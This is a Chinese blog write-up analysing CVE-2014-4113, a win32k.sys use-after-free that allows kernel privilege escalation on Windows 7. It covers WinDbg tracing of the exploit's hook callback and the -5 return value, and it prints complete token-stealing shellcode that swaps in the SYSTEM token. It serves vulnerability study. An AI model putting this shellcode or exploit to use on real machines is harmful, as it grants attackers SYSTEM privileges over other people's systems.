0x00:前言

这次是一个经典的内核提权漏洞,问题出在win32k.sys中,据说已经可以用在Windows 8.1上了,因为直接拿到了exp,所以我们直接从exp入手分析,实验环境的一些文件:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113

0x01:实验环境

  • Windows 7 x86(虚拟机)
  • Windbg 10.0.17134.1 + virtualKD(双机调试)
  • VS 2015 (编译release版本)
  • IDA Pro(反编译)
  • exp.exe

0x02:漏洞原理

这个漏洞的主要原理是:销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为fffffffb,因为对这个值没有严格的检查从而在sendmessage中再次被引用到,从而造成了UAF,这个方法可以在sendmessage中跳转到shellcode从而提权

知识点

UAF,WinDbg使用等

0x03:漏洞分析

1.分析源码

首先拿到exp的源码我们分析以下它做了哪些事情,首先加载解析了一些符号,创建了两个菜单,我们直接看到关键部分TrackPopupMenu()这个函数,这里是主要的攻击部分,我们现在就需要动态调试定位到这里,查看exp到底做了什么事情

2.动态调试

知道了关键的函数,我们就可以直接进行双机调试了,双机调试中环境的搭建我在CVE-2014-1767说过,就不在赘述,我们首先x查找符号TrackPopupMenu()的二进制地址

ba对内存访问设置断点

运行exp断在了这里

我们通过!process 0 0找到exp的进程地址

然后dt _EPROCESS 871daca8查看该进程的结构体信息,我们找到token的位置,发现是在0xf8偏移处

我们通过dd查看当前进程的token

我们在找到system的EPROCESS结构

查看system的token位置

找到system中token的值

我们的shellcode的作用就是负责将进程中的token替换为system中的token达到提权的目的,我们在当前进程的token位置处下一个写入断点,当该地址被写入的时候也就是shell code执行的时候,我们就会断下,这里我们设置条件断点并且打印一下token的值以便观察:

ba w1 871dada0 “.printf “Token:0x%08x\n”,poi(871dada0);.if(poi(871dada0)=0x890012cf){;}.else{g;}”

继续运行可以看到token的改变,断在了这里

从汇编窗口可以看到这个函数并没有执行完,我们执行几步将这个函数执行完再观察

我们再次查看进程中token的值发现已经和上面system的token一样,也就是替换成功了,接下来也就是shellcode的内容了

在执行shellcode之前我们栈回溯一下查看调用顺序

可以看到,我们最后调用了win32k!xxxSendMessageTimeout函数,我们用IDA分析win32k.sys找到以94f3结尾的地址(存在ASLR):

我们F5反汇编查看上面调用的[esi+60h]函数信息这里调用了一个P参数

我们查看到函数的第一个调用参数为P

我们回到windbg中,查看到第一个参数为fffffffb,也就是-5

我们转到源码发现这里有个HookCallbacktwo的回调函数,内容是先调用了EndMenu函数释放一个菜单,之后返回一个-5的值,而这个回调函数则刚好是我们钩子设定的函数

我们查看这个返回值加上60会跳转到哪里

我们发现会直接跳转到shellcode部分,接下来就开始执行我们的Shellcode

0x04:漏洞利用

shellcode部分主要就是达到提权的效果

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {__asm {; initializepushad; save registers statexor eax, eax; Set zeromov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThreadmov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Processmov ecx, eax; Copy current _EPROCESS structuremov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Tokenmov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4SearchSystemPID:mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flinksub eax, FLINK_OFFSETcmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessIdjne SearchSystemPIDmov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Tokenmov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM; to current processpopad; restore registers state}return 0;
}

成功利用漏洞的效果如下:

0x05:总结

非常经典的一个内核提权漏洞,在分析的过程中遇到过很多问题,但是最后都还是解决了,在源码中我并没有一句一句的分析,读者有兴趣可以自己去琢磨,毕竟注释写的还是很清楚的
参考资料:
https://www.ichunqiu.com/course/56147

CVE-2014-4113相关推荐

  1. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

  2. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  3. Android安全研究经验谈 @retme

    搜paper时,找到的一篇讲的非常好的文章,认同其中相当一部分观点,特转载一下. 原文:http://www.360doc.com/content/17/0815/15/43931101_679381 ...

  4. CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    1. 漏洞的起因 这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令 http://ss64.com/bash/env.html env: Display, set, o ...

  5. CobaltStrike使用-第五篇(Bypass UAC、CVE提权、Powerup提权)

    前四篇文章介绍了CS的基本使用方法和模块,以及钓鱼攻击的方法,本篇将会介绍使用CS进行提权操作 文章目录 权限提升 Bypass UAC CVE提权 PowerUp 凭证和哈希获取 Beacon 中的 ...

  6. 4道与CVE结合web题目

    走过路过,不要错过这个公众号哦! 0x00  前言 最近做题遇到了一些CVE的复现,其中不乏一些好题,今天介绍的是如下4个与CVE结合的题目: CVE-2017-12635(CouchDB) CVE- ...

  7. CV算法复现(分类算法4/6):GoogLeNet(2014年 谷歌)

    致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 目录 致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 1 本次要 ...

  8. CV算法复现(分类算法3/6):VGG(2014年 牛津大学)

    致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 目录 致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 1 本次要 ...

  9. 2014.4新版uboot启动流程分析

    原文 http://blog.csdn.net/skyflying2012/article/details/25804209 此处转载有稍作修改 最近开始接触uboot,现在需要将2014.4版本ub ...

  10. 2014年个人工作总结

    2014年的日常工作,从技术支持岗位调到市场.社区岗位上:日常技术处理工作变为博客.微信.微博.市场活动策划.发送奖品等.如果以此为界:即毕业10年内的主要是软件研发.团队管理.项目管理:第二个十年开 ...

最新文章

  1. vue css 应用变量_如何使用CSS Grid和CSS变量快速为应用创建原型
  2. 泉州中考分数如何计算机,2019年泉州中考总分多少分,泉州中考各个科目多少分...
  3. JavaScript两个变量交换值(不使用临时变量)
  4. Shell脚本读取Redis键值对
  5. Android 项目中常用到的第三方组件
  6. 从头到尾彻底理解傅里叶变换算法(上)
  7. 从outside对ASA防火墙身后ACS4.x进行管理测试
  8. linux exit 流程,Shell exit流程控制语句及用法
  9. windows10下安装JDK及环境变量设置
  10. 域名与DNS(域名解析服务器)
  11. 计算机毕业设计成品 基于Vue+Springboot的校园论坛网站管理系统java maven
  12. lbs mysql_使用mysql来实现lbs排序
  13. kaldi的安装使用
  14. 猜拳游戏(C语言-Linux-简单可视化)
  15. 橡皮擦的英语_小朋友们知道“橡皮擦”用英语该怎么说吗?
  16. CodeLite 16.0可以编译通过,但是在编辑器界面会显示找不到标准库头文件
  17. php strtotime 2099,PHP的strtotime()函数2039年bug问题
  18. 【CSP-J】【图论】【最短路】加工零件
  19. 解决微信电脑版备份,手机端出现目前网络状况复杂的问题:当前网络状况复杂,请尝试使用其它网络
  20. 如何将npm升级到最新版本

热门文章

  1. iis导入服务器证书的方法,IIS导入服务器证书的方法(IIS5、IIS6、IIS7)
  2. Everything 打开文件失败
  3. OpenOCD-Jlink配置方法
  4. Java基础笔记(14)—— Java的基础类型和字节大小
  5. SQL Sever链接数据库登录失败原因
  6. python在直方图上画折线图_python库之matplotlib的柱状图、直方图、阶梯图、折线图、饼图...
  7. springboot 好玩的自定义设置——启动时的banner
  8. JavaScript算法学习
  9. vf mysql_VF是什么?
  10. 最受欢迎的cms网站内容管理系统排行榜